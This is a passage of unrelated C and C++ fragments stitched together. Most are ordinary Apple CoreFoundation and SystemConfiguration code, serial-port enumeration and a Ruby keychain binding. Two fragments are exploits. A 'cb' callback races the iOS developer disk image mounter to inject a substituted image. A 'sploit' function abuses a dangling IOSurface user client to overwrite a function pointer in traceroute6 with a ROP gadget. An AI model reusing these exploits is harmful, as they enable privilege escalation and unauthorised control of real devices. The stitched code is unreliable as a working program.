key = CFStringCreateWithCString(NULL, argv[0], kCFStringEncodingUTF8);
argv++; argc--;
while (argc > 0) {
if (strcmp(argv[0], "*") == 0) {
/* if array requested */
doArray = TRUE;
} else if (strcmp(argv[0], "-") == 0) {
/* if string values requested */
} else if (strcmp(argv[0], "?") == 0) {
/* if boolean values requested */
doBoolean = TRUE;
} else if (strcmp(argv[0], "%") == 0) {
/* if [hex] data values requested */
doData = TRUE;
} else if (strcmp(argv[0], "#") == 0) {
/* if numeric values requested */
doNumeric = TRUE;
} else {
/* it's not a special flag */
break;
}
argv++; argc--;
}
if (argc > 1) {
doArray = TRUE;
} else if (!doArray && (argc == 0)) {
SCPrint(TRUE, stdout, CFSTR("d.add: no values.\n"));
CFRelease(key);
return;
}
if (doArray) {
array = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
}
while (argc > 0) {
if (doBoolean) {
if ((strcasecmp(argv[0], "true") == 0) ||
(strcasecmp(argv[0], "t" ) == 0) ||
(strcasecmp(argv[0], "yes" ) == 0) ||
(strcasecmp(argv[0], "y" ) == 0) ||
(strcmp (argv[0], "1" ) == 0)) {
val = CFRetain(kCFBooleanTrue);
} else if ((strcasecmp(argv[0], "false") == 0) ||
(strcasecmp(argv[0], "f" ) == 0) ||
(strcasecmp(argv[0], "no" ) == 0) ||
(strcasecmp(argv[0], "n" ) == 0) ||
(strcmp (argv[0], "0" ) == 0)) {
val = CFRetain(kCFBooleanFalse);
} else {
SCPrint(TRUE, stdout, CFSTR("d.add: invalid data.\n"));
if (doArray) CFRelease(array);
CFRelease(key);
return;
}
} else if (doData) {
uint8_t *bytes;
CFMutableDataRef data;
int i;
int j;
int n;
n = strlen(argv[0]);
if ((n % 2) == 1) {
SCPrint(TRUE, stdout, CFSTR("d.add: not enough bytes.\n"));
if (doArray) CFRelease(array);
CFRelease(key);
return;
}
data = CFDataCreateMutable(NULL, (n / 2));
CFDataSetLength(data, (n / 2));
bytes = (uint8_t *)CFDataGetBytePtr(data);
for (i = 0, j = 0; i < n; i += 2, j++) {
unsigned long byte;
char *end;
char str[3] = { 0 };
str[0] = argv[0][i];
str[1] = argv[0][i + 1];
errno = 0;
byte = strtoul(str, &end, 16);
if ((*end != '\0') || (errno != 0)) {
CFRelease(data);
data = NULL;
break;
}
bytes[j] = byte;
}
if (data == NULL) {
SCPrint(TRUE, stdout, CFSTR("d.add: invalid data.\n"));
if (doArray) CFRelease(array);
CFRelease(key);
return;
}
val = data;
} else if (doNumeric) {
int intValue;
if (sscanf(argv[0], "%d", &intValue) == 1) {
val = CFNumberCreate(NULL, kCFNumberIntType, &intValue);
} else {
SCPrint(TRUE, stdout, CFSTR("d.add: invalid data.\n"));
if (doArray) CFRelease(array);
CFRelease(key);
return;
}
} else {
val = (CFPropertyListRef)CFStringCreateWithCString(NULL, argv[0], kCFStringEncodingUTF8);
}
if (doArray) {
CFArrayAppendValue(array, val);
CFRelease(val);
argv++; argc--;
} else {
break;
}
}
newValue = CFDictionaryCreateMutableCopy(NULL, 0, value);
if (doArray) {
CFDictionarySetValue(newValue, key, array);
CFRelease(array);
} else if (val != NULL) {
CFDictionarySetValue(newValue, key, val);
CFRelease(val);
}
CFRelease(key);
CFRelease(value);
value = newValue;
return;
}
// Return a list of all serial ports
wxArrayString Serial::port_list()
{
wxArrayString list;
#if defined(LINUX)
// This is ugly guessing, but Linux doesn't seem to provide anything else.
// If there really is an API to discover serial devices on Linux, please
// email [email protected] with the info. Please?
// The really BAD aspect is all ports get DTR raised briefly, because linux
// has no way to open the port without raising DTR, and there isn't any way
// to tell if the device file really represents hardware without opening it.
// maybe sysfs or udev provides a useful API??
DIR *dir;
struct dirent *f;
struct stat st;
unsigned int i, len[NUM_DEVNAMES];
char s[512];
int fd, bits;
termios mytios;
dir = opendir("/dev/");
if (dir == NULL) return list;
for (i=0; i<NUM_DEVNAMES; i++) len[i] = strlen(devnames[i]);
// Read all the filenames from the /dev directory...
while ((f = readdir(dir)) != NULL) {
// ignore everything that doesn't begin with "tty"
if (strncmp(f->d_name, "tty", 3)) continue;
// ignore anything that's not a known serial device name
for (i=0; i<NUM_DEVNAMES; i++) {
if (!strncmp(f->d_name + 3, devnames[i], len[i])) break;
}
if (i >= NUM_DEVNAMES) continue;
snprintf(s, sizeof(s), "/dev/%s", f->d_name);
// check if it's a character type device (almost certainly is)
if (stat(s, &st) != 0 || !(st.st_mode & S_IFCHR)) continue;
// now see if we can open the file - if the device file is
// populating /dev but doesn't actually represent a loaded
// driver, this is where we will detect it.
fd = open(s, O_RDONLY | O_NOCTTY | O_NONBLOCK);
if (fd < 0) {
// if permission denied, give benefit of the doubt
// (otherwise the port will be invisible to the user
// and we won't have a to alert them to the permssion
// problem)
if (errno == EACCES) list.Add(wxString(s,wxConvUTF8));
// any other error, assume it's not a real device
continue;
}
// does it respond to termios requests? (probably will since
// the name began with tty). Some devices where a single
// driver exports multiple names will open but this is where
// we can really tell if they work with real hardare.
if (tcgetattr(fd, &mytios) != 0) {
close(fd);
continue;
}
// does it respond to reading the control signals? If it's
// some sort of non-serial terminal (eg, pseudo terminals)
// this is where we will detect it's not really a serial port
if (ioctl(fd, TIOCMGET, &bits) < 0) {
close(fd);
continue;
}
// it passed all the tests, it's a serial port, or some sort
// of "terminal" that looks exactly like a real serial port!
close(fd);
// unfortunately, Linux always raises DTR when open is called.
// not nice! Every serial port is going to get DTR raised
// and then lowered. I wish there were a way to prevent this,
// but it seems impossible.
list.Add(wxString(s,wxConvUTF8));
}
closedir(dir);
#elif defined(MACOSX)
// adapted from SerialPortSample.c, by Apple
// http://developer.apple.com/samplecode/SerialPortSample/listing2.html
// and also testserial.c, by Keyspan
// http://www.keyspan.com/downloads-files/developer/macosx/KesypanTestSerial.c
// www.rxtx.org, src/SerialImp.c seems to be based on Keyspan's testserial.c
// neither keyspan nor rxtx properly release memory allocated.
// more documentation at:
// http://developer.apple.com/documentation/DeviceDrivers/Conceptual/WorkingWSerial/WWSerial_SerialDevs/chapter_2_section_6.html
mach_port_t masterPort;
CFMutableDictionaryRef classesToMatch;
io_iterator_t serialPortIterator;
if (IOMasterPort(NULL, &masterPort) != KERN_SUCCESS) return list;
// a usb-serial adaptor is usually considered a "modem",
// especially when it implements the CDC class spec
classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
if (!classesToMatch) return list;
CFDictionarySetValue(classesToMatch, CFSTR(kIOSerialBSDTypeKey),
CFSTR(kIOSerialBSDModemType));
if (IOServiceGetMatchingServices(masterPort, classesToMatch,
&serialPortIterator) != KERN_SUCCESS) return list;
macos_ports(&serialPortIterator, list);
IOObjectRelease(serialPortIterator);
// but it might be considered a "rs232 port", so repeat this
// search for rs232 ports
classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
if (!classesToMatch) return list;
CFDictionarySetValue(classesToMatch, CFSTR(kIOSerialBSDTypeKey),
CFSTR(kIOSerialBSDRS232Type));
if (IOServiceGetMatchingServices(masterPort, classesToMatch,
&serialPortIterator) != KERN_SUCCESS) return list;
macos_ports(&serialPortIterator, list);
IOObjectRelease(serialPortIterator);
#elif defined(WINDOWS)
// http://msdn.microsoft.com/en-us/library/aa365461(VS.85).aspx
// page with 7 ways - not all of them work!
// http://www.naughter.com/enumser.html
// may be possible to just query the windows registary
// http://it.gps678.com/2/ca9c8631868fdd65.html
// search in HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\SERIALCOMM
// Vista has some special new way, vista-only
// http://msdn2.microsoft.com/en-us/library/aa814070(VS.85).aspx
char *buffer, *p;
//DWORD size = QUERYDOSDEVICE_BUFFER_SIZE;
DWORD ret;
buffer = (char *)malloc(QUERYDOSDEVICE_BUFFER_SIZE);
if (buffer == NULL) return list;
memset(buffer, 0, QUERYDOSDEVICE_BUFFER_SIZE);
ret = QueryDosDeviceA(NULL, buffer, QUERYDOSDEVICE_BUFFER_SIZE);
if (ret) {
printf("Detect Serial using QueryDosDeviceA: ");
for (p = buffer; *p; p += strlen(p) + 1) {
printf(": %s", p);
if (strncmp(p, "COM", 3)) continue;
list.Add(wxString(p) + ":");
}
} else {
char buf[1024];
win32_err(buf);
printf("QueryDosDeviceA failed, error \"%s\"\n", buf);
printf("Detect Serial using brute force GetDefaultCommConfig probing: ");
for (int i=1; i<=32; i++) {
printf("try %s", buf);
COMMCONFIG cfg;
DWORD len;
snprintf(buf, sizeof(buf), "COM%d", i);
if (GetDefaultCommConfig(buf, &cfg, &len)) {
wxString name;
name.Printf("COM%d:", i);
list.Add(name);
printf(": %s", buf);
}
}
}
free(buffer);
#endif
list.Sort();
return list;
}
static VALUE rb_keychain_find(int argc, VALUE *argv, VALUE self){
VALUE kind;
VALUE attributes;
VALUE first_or_all;
rb_scan_args(argc, argv, "2:", &first_or_all, &kind, &attributes);
Check_Type(first_or_all, T_SYMBOL);
Check_Type(kind, T_STRING);
CFMutableDictionaryRef query = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(query, kSecReturnAttributes, kCFBooleanTrue);
CFDictionarySetValue(query, kSecReturnRef, kCFBooleanTrue);
if(rb_to_id(first_or_all) == rb_intern("all")){
CFDictionarySetValue(query, kSecMatchLimit, kSecMatchLimitAll);
}
rb_add_value_to_cf_dictionary(query, kSecClass, kind);
if(!NIL_P(attributes)){
Check_Type(attributes, T_HASH);
VALUE rb_keychains = rb_hash_aref(attributes, ID2SYM(rb_intern("keychains")));
if(!NIL_P(rb_keychains)){
Check_Type(rb_keychains, T_ARRAY);
CFMutableArrayRef searchArray = CFArrayCreateMutable(NULL, RARRAY_LEN(rb_keychains), &kCFTypeArrayCallBacks);
for(int index=0; index < RARRAY_LEN(rb_keychains); index++){
SecKeychainRef keychain = NULL;
Data_Get_Struct(RARRAY_PTR(rb_keychains)[index], struct OpaqueSecKeychainRef, keychain);
CFArrayAppendValue(searchArray, keychain);
}
CFDictionarySetValue(query, kSecMatchSearchList,searchArray);
CFRelease(searchArray);
}
VALUE limit = rb_hash_aref(attributes, ID2SYM(rb_intern("limit")));
if(!NIL_P(limit)){
Check_Type(limit, T_FIXNUM);
long c_limit = FIX2LONG(limit);
CFNumberRef cf_limit = CFNumberCreate(NULL, kCFNumberLongType, &c_limit);
CFDictionarySetValue(query, kSecMatchLimit, cf_limit);
CFRelease(cf_limit);
}
VALUE conditions = rb_hash_aref(attributes, ID2SYM(rb_intern("conditions")));
if(!NIL_P(conditions)){
Check_Type(conditions, T_HASH);
VALUE rQuery = Data_Wrap_Struct(rb_cPointerWrapper, NULL, NULL, query);
rb_block_call(conditions, rb_intern("each"), 0, NULL, RUBY_METHOD_FUNC(add_conditions_to_query), rQuery);
}
}
CFDictionaryRef result;
OSStatus status = SecItemCopyMatching(query, (CFTypeRef*)&result);
CFRelease(query);
VALUE rb_item = rb_ary_new2(0);
switch(status){
case errSecItemNotFound:
break;
default:
CheckOSStatusOrRaise(status);
if(CFArrayGetTypeID() == CFGetTypeID(result)){
CFArrayRef result_array = (CFArrayRef)result;
for(CFIndex i = 0; i < CFArrayGetCount(result_array); i++){
rb_ary_push(rb_item,rb_keychain_item_from_sec_dictionary(CFArrayGetValueAtIndex(result_array,i)));
}
}
else{
rb_ary_push(rb_item, rb_keychain_item_from_sec_dictionary(result));
}
CFRelease(result);
}
if(rb_to_id(first_or_all) == rb_intern("first")){
return rb_ary_entry(rb_item,0);
}
else{
return rb_item;
}
}
static CFDictionaryRef
copy_app_layer_vpn_proxies(CFDictionaryRef services, CFArrayRef order, CFDictionaryRef services_info)
{
CFMutableDictionaryRef app_layer_proxies = NULL;
CFIndex i;
CFIndex n_order;
if (!isA_CFDictionary(services_info)) {
return NULL;
}
// iterate over services
n_order = isA_CFArray(order) ? CFArrayGetCount(order) : 0;
for (i = 0; i < n_order; i++) {
CFMutableDictionaryRef newProxy;
CFDictionaryRef proxy;
CFDictionaryRef service;
CFStringRef serviceID;
CFDictionaryRef vpn;
CFStringRef vpn_key;
serviceID = CFArrayGetValueAtIndex(order, i);
service = CFDictionaryGetValue(services, serviceID);
if (!isA_CFDictionary(service)) {
// if no service
continue;
}
proxy = CFDictionaryGetValue(service, kSCEntNetProxies);
if (!isA_CFDictionary(proxy)) {
// if no proxy
continue;
}
vpn_key = SCDynamicStoreKeyCreateNetworkServiceEntity(NULL,
kSCDynamicStoreDomainSetup,
serviceID,
kSCEntNetVPN);
vpn = CFDictionaryGetValue(services_info, vpn_key);
CFRelease(vpn_key);
if (!isA_CFDictionary(vpn) || !CFDictionaryContainsKey(vpn, kSCPropNetVPNAppRules)) {
// if not app-layer vpn
continue;
}
if ((app_layer_proxies != NULL) &&
CFDictionaryContainsKey(app_layer_proxies, serviceID)) {
// if we've already processed this [app_layer_proxies] interface
continue;
}
// add [app_layer_proxies] proxy entry
newProxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchDomains);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchOrders);
if (app_layer_proxies == NULL) {
app_layer_proxies = CFDictionaryCreateMutable(NULL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
}
CFDictionarySetValue(app_layer_proxies, serviceID, newProxy);
CFRelease(newProxy);
}
return app_layer_proxies;
}
void MutableDictionary::set(const void* key, const void* value) {
CFDictionarySetValue(c_obj(), key, value);
}
__private_extern__
CF_RETURNS_RETAINED CFDictionaryRef
proxy_configuration_update(CFDictionaryRef defaultProxy,
CFDictionaryRef services,
CFArrayRef serviceOrder,
CFDictionaryRef servicesInfo)
{
CFIndex i;
CFMutableDictionaryRef myDefault;
Boolean myOrderAdded = FALSE;
CFMutableDictionaryRef newProxy = NULL;
CFIndex n_proxies;
CFDictionaryRef proxy;
CFMutableArrayRef proxies;
// establish full list of proxies
proxies = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks);
// collect (and add) any "supplemental" proxy configurations
add_supplemental_proxies(proxies, services, serviceOrder);
// add the "default" proxy
add_default_proxy(proxies, defaultProxy, &myOrderAdded);
// sort proxies, cleanup
n_proxies = CFArrayGetCount(proxies);
if (n_proxies > 1) {
CFArraySortValues(proxies, CFRangeMake(0, n_proxies), compareDomain, NULL);
}
// cleanup
for (i = n_proxies - 1; i >= 0; i--) {
proxy = CFArrayGetValueAtIndex(proxies, i);
if ((i > 0) &&
!CFDictionaryContainsKey(proxy, kSCPropNetProxiesSupplementalMatchDomain)) {
// remove non-supplemental proxy
CFArrayRemoveValueAtIndex(proxies, i);
n_proxies--;
continue;
}
newProxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionaryRemoveValue(newProxy, PROXY_MATCH_ORDER_KEY);
CFDictionaryRemoveValue(newProxy, ORDER_KEY);
CFArraySetValueAtIndex(proxies, i, newProxy);
CFRelease(newProxy);
}
// update the default proxy
myDefault = CFDictionaryCreateMutableCopy(NULL,
0,
CFArrayGetValueAtIndex(proxies, 0));
if (myOrderAdded && (n_proxies > 1)) {
CFDictionaryRef proxy;
proxy = CFArrayGetValueAtIndex(proxies, 1);
if (CFDictionaryContainsKey(proxy, kSCPropNetProxiesSupplementalMatchDomain)) {
// if not a supplemental "default" proxy (a match domain name is
// present)
CFDictionaryRemoveValue(myDefault, PROXY_MATCH_ORDER_KEY);
}
}
CFArraySetValueAtIndex(proxies, 0, myDefault);
CFRelease(myDefault);
// establish proxy configuration
if (n_proxies > 0) {
CFDictionaryRef app_layer;
CFDictionaryRef scoped;
CFArrayRef serviceOrderAll;
Boolean skip = FALSE;
CFArrayRef supplemental;
proxy = CFArrayGetValueAtIndex(proxies, 0);
if (!CFDictionaryContainsKey(proxy, kSCPropNetProxiesSupplementalMatchDomain)) {
// if we have "a" default (non-supplemental) proxy
newProxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchDomains);
CFDictionaryRemoveValue(newProxy, kSCPropNetProxiesSupplementalMatchOrders);
skip = TRUE;
} else {
newProxy = CFDictionaryCreateMutable(NULL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
}
serviceOrderAll = service_order_copy_all(services, serviceOrder);
// collect (and add) any "supplemental" proxy configurations
supplemental = copy_supplemental_proxies(proxies, skip);
if (supplemental != NULL) {
CFDictionarySetValue(newProxy, kSCPropNetProxiesSupplemental, supplemental);
CFRelease(supplemental);
}
// collect (and add) any "scoped" proxy configurations
scoped = copy_scoped_proxies(services, serviceOrderAll);
if (scoped != NULL) {
CFDictionarySetValue(newProxy, kSCPropNetProxiesScoped, scoped);
CFRelease(scoped);
}
// collect (and add) any "services" based proxy configurations
app_layer = copy_app_layer_vpn_proxies(services, serviceOrderAll, servicesInfo);
if (app_layer != NULL) {
CFDictionarySetValue(newProxy, kSCPropNetProxiesServices, app_layer);
CFRelease(app_layer);
}
if (serviceOrderAll != NULL) {
CFRelease(serviceOrderAll);
}
} else {
newProxy = NULL;
}
CFRelease(proxies);
return newProxy;
}
static void cb(am_device_notification_callback_info * info, void *foo)
{
struct am_device *dev;
if (info->msg == ADNCI_MSG_CONNECTED) {
dev = info->dev;
AMDeviceConnect(dev);
assert(AMDeviceIsPaired(dev));
assert(!AMDeviceValidatePairing(dev));
assert(!AMDeviceStartSession(dev));
CFStringRef product =
AMDeviceCopyValue(dev, 0, CFSTR("ProductVersion"));
assert(product);
UniChar first = CFStringGetCharacterAtIndex(product, 0);
int epoch = first - '0';
Retry: {}
printf("Attempting to mount image...\n");
service_conn_t afc_socket = 0;
struct afc_connection *afc = NULL;
assert(!AMDeviceStartService(dev, CFSTR("com.apple.afc"), &afc_socket, NULL));
assert(!AFCConnectionOpen(afc_socket, 0, &afc));
assert(!AFCDirectoryCreate(afc, "PublicStaging"));
AFCRemovePath(afc, "PublicStaging/staging.dimage");
qwrite(afc, real_dmg, "PublicStaging/staging.dimage");
qwrite(afc, ddi_dmg, "PublicStaging/ddi.dimage");
service_conn_t mim_socket1 = 0;
service_conn_t mim_socket2 = 0;
assert(!AMDeviceStartService(dev, CFSTR("com.apple.mobile.mobile_image_mounter"), &mim_socket1, NULL));
assert(mim_socket1);
CFPropertyListRef result = NULL;
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(dict, CFSTR("Command"), CFSTR("MountImage"));
CFDictionarySetValue(dict, CFSTR("ImageType"), CFSTR("Developer"));
CFDictionarySetValue(dict, CFSTR("ImagePath"), CFSTR("/var/mobile/Media/PublicStaging/staging.dimage"));
int fd = open(real_dmg_signature, O_RDONLY);
assert(fd != -1);
uint8_t sig[128];
assert(read(fd, sig, sizeof(sig)) == sizeof(sig));
close(fd);
CFDictionarySetValue(dict, CFSTR("ImageSignature"), CFDataCreateWithBytesNoCopy(NULL, sig, sizeof(sig), kCFAllocatorNull));
send_message(mim_socket1, dict);
usleep(timesl);
assert(!AFCRenamePath(afc, "PublicStaging/ddi.dimage", "PublicStaging/staging.dimage"));
result = receive_message(mim_socket1);
int len = CFDataGetLength(CFPropertyListCreateXMLData(NULL, result));
char* bytes = CFDataGetBytePtr(CFPropertyListCreateXMLData(NULL, result));
if(strstr(bytes, "Complete")) {
char* the_service = "CopyIt";
service_conn_t socket = 0;
sleep(2);
printf("Image mounted, running helper...\n");
assert(!AMDeviceStartService(dev, CFStringCreateWithCStringNoCopy(NULL, the_service, kCFStringEncodingUTF8, kCFAllocatorNull),
&socket, NULL));
assert(!fcntl(socket, F_SETFL, O_NONBLOCK));
assert(!fcntl(0, F_SETFL, O_NONBLOCK));
} else {
printf("Failed to inject image, trying again... (if it fails, try a different time), delay ... %dus\n", timesl);
timesl += 1000;
goto Retry;
}
exit(0);
}
}
static void
split(const void * key, const void * value, void * context)
{
CFArrayRef components;
CFStringRef entity_id;
CFStringRef service_id;
CFMutableDictionaryRef state_dict;
components = CFStringCreateArrayBySeparatingStrings(NULL, (CFStringRef)key, CFSTR("/"));
service_id = CFArrayGetValueAtIndex(components, 3);
entity_id = CFArrayGetValueAtIndex(components, 4);
state_dict = (CFMutableDictionaryRef)CFDictionaryGetValue(context, service_id);
if (state_dict != NULL) {
state_dict = CFDictionaryCreateMutableCopy(NULL, 0, state_dict);
} else {
state_dict = CFDictionaryCreateMutable(NULL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
}
if (CFEqual(entity_id, kSCEntNetIPv4) ||
CFEqual(entity_id, kSCEntNetIPv6)) {
CFStringRef interface;
interface = CFDictionaryGetValue((CFDictionaryRef)value, kSCPropInterfaceName);
if (interface != NULL) {
CFDictionaryRef proxy;
CFMutableDictionaryRef new_proxy;
proxy = CFDictionaryGetValue(state_dict, kSCEntNetProxies);
if (proxy != NULL) {
new_proxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
} else {
new_proxy = CFDictionaryCreateMutable(NULL,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
}
CFDictionarySetValue(new_proxy, kSCPropInterfaceName, interface);
CFDictionarySetValue(state_dict, kSCEntNetProxies, new_proxy);
CFRelease(new_proxy);
}
} else if (CFEqual(entity_id, kSCEntNetProxies)) {
CFDictionaryRef proxy;
proxy = CFDictionaryGetValue(state_dict, kSCEntNetProxies);
if (proxy != NULL) {
CFStringRef domain;
CFMutableDictionaryRef new_proxy;
// if we already have some Setup: or State: proxy content
domain = CFArrayGetValueAtIndex(components, 0);
if (CFEqual(domain, kSCDynamicStoreDomainState)) {
// if we've already seen the Setup: key
new_proxy = CFDictionaryCreateMutableCopy(NULL, 0, (CFDictionaryRef)value);
CFDictionaryApplyFunction(proxy, mergeDict, new_proxy);
} else {
// if we've already seen the State: key
new_proxy = CFDictionaryCreateMutableCopy(NULL, 0, proxy);
CFDictionaryApplyFunction((CFDictionaryRef)value, mergeDict, new_proxy);
}
CFDictionarySetValue(state_dict, kSCEntNetProxies, new_proxy);
CFRelease(new_proxy);
} else {
CFDictionarySetValue(state_dict, kSCEntNetProxies, (CFDictionaryRef)value);
}
} else {
CFDictionarySetValue(state_dict, entity_id, (CFDictionaryRef)value);
}
CFDictionarySetValue((CFMutableDictionaryRef)context, service_id, state_dict);
CFRelease(state_dict);
CFRelease(components);
return;
}
SInt32 CFMessagePortSendRequest(CFMessagePortRef remote, SInt32 msgid, CFDataRef data, CFTimeInterval sendTimeout, CFTimeInterval rcvTimeout, CFStringRef replyMode, CFDataRef *returnDatap) {
struct __CFMessagePortMachMessage *sendmsg;
CFRunLoopRef currentRL = CFRunLoopGetCurrent();
CFRunLoopSourceRef source = NULL;
CFDataRef reply = NULL;
int64_t termTSR;
uint32_t sendOpts = 0, sendTimeOut = 0;
int32_t desiredReply;
Boolean didRegister = false;
kern_return_t ret;
//#warning CF: This should be an assert
// if (!__CFMessagePortIsRemote(remote)) return -999;
if (!__CFMessagePortIsValid(remote)) return kCFMessagePortIsInvalid;
__CFMessagePortLock(remote);
if (NULL == remote->_replyPort) {
CFMachPortContext context;
context.version = 0;
context.info = remote;
context.retain = (const void *(*)(const void *))CFRetain;
context.release = (void (*)(const void *))CFRelease;
context.copyDescription = (CFStringRef (*)(const void *))__CFMessagePortCopyDescription;
remote->_replyPort = CFMachPortCreate(CFGetAllocator(remote), __CFMessagePortReplyCallBack, &context, NULL);
}
remote->_convCounter++;
desiredReply = -remote->_convCounter;
CFDictionarySetValue(remote->_replies, (void *)desiredReply, NULL);
sendmsg = __CFMessagePortCreateMessage(CFGetAllocator(remote), false, CFMachPortGetPort(remote->_port), (replyMode != NULL ? CFMachPortGetPort(remote->_replyPort) : MACH_PORT_NULL), -desiredReply, msgid, (data ? CFDataGetBytePtr(data) : NULL), (data ? CFDataGetLength(data) : 0));
__CFMessagePortUnlock(remote);
if (replyMode != NULL) {
source = CFMachPortCreateRunLoopSource(CFGetAllocator(remote), remote->_replyPort, -100);
didRegister = !CFRunLoopContainsSource(currentRL, source, replyMode);
if (didRegister) {
CFRunLoopAddSource(currentRL, source, replyMode);
}
}
if (sendTimeout < 10.0*86400) {
// anything more than 10 days is no timeout!
sendOpts = MACH_SEND_TIMEOUT;
sendTimeout *= 1000.0;
if (sendTimeout < 1.0) sendTimeout = 0.0;
sendTimeOut = floor(sendTimeout);
}
ret = mach_msg((mach_msg_header_t *)sendmsg, MACH_SEND_MSG|sendOpts, sendmsg->head.msgh_size, 0, MACH_PORT_NULL, sendTimeOut, MACH_PORT_NULL);
CFAllocatorDeallocate(CFGetAllocator(remote), sendmsg);
if (KERN_SUCCESS != ret) {
if (didRegister) {
CFRunLoopRemoveSource(currentRL, source, replyMode);
CFRelease(source);
}
if (MACH_SEND_TIMED_OUT == ret) return kCFMessagePortSendTimeout;
return kCFMessagePortTransportError;
}
if (replyMode == NULL) {
return kCFMessagePortSuccess;
}
CFRetain(remote); // retain during run loop to avoid invalidation causing freeing
_CFMachPortInstallNotifyPort(currentRL, replyMode);
termTSR = mach_absolute_time() + __CFTimeIntervalToTSR(rcvTimeout);
for (;;) {
CFRunLoopRunInMode(replyMode, __CFTSRToTimeInterval(termTSR - mach_absolute_time()), true);
// warning: what, if anything, should be done if remote is now invalid?
reply = CFDictionaryGetValue(remote->_replies, (void *)desiredReply);
if (NULL != reply || termTSR < (int64_t)mach_absolute_time()) {
break;
}
if (!CFMessagePortIsValid(remote)) {
// no reason that reply port alone should go invalid so we don't check for that
break;
}
}
// Should we uninstall the notify port? A complex question...
if (didRegister) {
CFRunLoopRemoveSource(currentRL, source, replyMode);
CFRelease(source);
}
if (NULL == reply) {
CFDictionaryRemoveValue(remote->_replies, (void *)desiredReply);
CFRelease(remote);
return CFMessagePortIsValid(remote) ? kCFMessagePortReceiveTimeout : -5;
}
if (NULL != returnDatap) {
*returnDatap = ((void *)0xffffffff == reply) ? NULL : reply;
} else if ((void *)0xffffffff != reply) {
CFRelease(reply);
}
CFDictionaryRemoveValue(remote->_replies, (void *)desiredReply);
CFRelease(remote);
return kCFMessagePortSuccess;
}
void sploit(int child_pid, mach_port_t child_task_port) {
kern_return_t err;
// setup ROP stack we'll use in the target:
uint64_t fptr_page = 0;
uint32_t fptr_offset = 0;
uint64_t stack_shift_gadget = 0;
char** argv = setup_payload_and_offsets(&stack_shift_gadget, &fptr_page, &fptr_offset);
// get the userclient passing the child's task port
io_connect_t dangler = get_uc(child_task_port);
printf("got dangler\n");
// drop our ref on the child_task_port
mach_port_deallocate(mach_task_self(), child_task_port);
// kill the child, free'ing its task struct
kill(child_pid, 9);
int status;
wait(&status);
// fork and exec the target who's memory we want to mess with
//int targets_count = 1;
//int* target_pids = exec_n("./mmapper", targets_count);
int target_pid = 0;
int blocker = fork_and_exec_blocking("/usr/sbin/traceroute6", argv, NULL, &target_pid);
// wait a little bit to make sure it's actually started...
// (could peek in the pipe and see if it's written anything there?)
usleep(100000);
printf("killed child and exec'ed target\n");
// now the dangler userclient's task struct* hopefully actually points to the task struct
// of one of those targets
// now we create a new surface, the IOSurface code will use that task struct* and actually
// create an IOMemoryDescriptor wrapping the targets memory, not ours
CFMutableDictionaryRef surface_props = CFDictionaryCreateMutable(kCFAllocatorDefault,
0,
&kCFTypeDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks);
uint64_t target_addr = fptr_page;
uint32_t target_size = 0x1000;
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target_addr));
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceAllocSize"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &target_size));
CFDictionarySetValue(surface_props, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
CFDataRef props_data = IOCFSerialize(surface_props, kNilOptions);
void* inputStruct = (void*)CFDataGetBytePtr(props_data);
size_t inputStructCnt = (size_t)CFDataGetLength(props_data);
uint64_t inputScalar[16];
size_t inputScalarCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[0x548];
size_t outputStructCnt = 0x548;
// create_surface
int selector = 0;
err = IOConnectCallMethod(
dangler,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
MACH_ERR("making external method call", err);
int target_surface_id = *(int*)(&outputStruct[0x10]);
printf("got a surface id: %d - hopefully that wraps a page in the target process\n", target_surface_id);
// create another IOSurfaceRootUserClient but this time with our own task port
io_connect_t surface = get_uc(mach_task_self());
// call lookup_surface which will lookup the global surface by id and map it into this task:
inputStruct = NULL;
inputStructCnt = 0;
inputScalar[0] = target_surface_id;
inputScalarCnt = 1;
outputStructCnt = 0x548;
// lookup_surface
selector = 6;
err = IOConnectCallMethod(
surface,
selector,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
MACH_ERR("making external method call", err);
char* shared_page = *(char**)(&outputStruct[0]);
printf("got a surface back, mapped in at %p\n", shared_page);
printf("%c%c%c%c\n", shared_page[0], shared_page[1], shared_page[2], shared_page[3]);
shared_page[0] = 'B';
//overwrite the fptr value:
*(uint64_t*)(shared_page+fptr_offset) = stack_shift_gadget;
// unblock the pipe and let the target run to exit
unblock_pipe_and_interact(blocker);
int sl;
wait(&sl);
}
static netfsError ParseURL9P(CFURLRef url, CFDictionaryRef * params)
{
CFMutableDictionaryRef dict;
CFStringRef str;
SInt32 port;
int e;
TRACE();
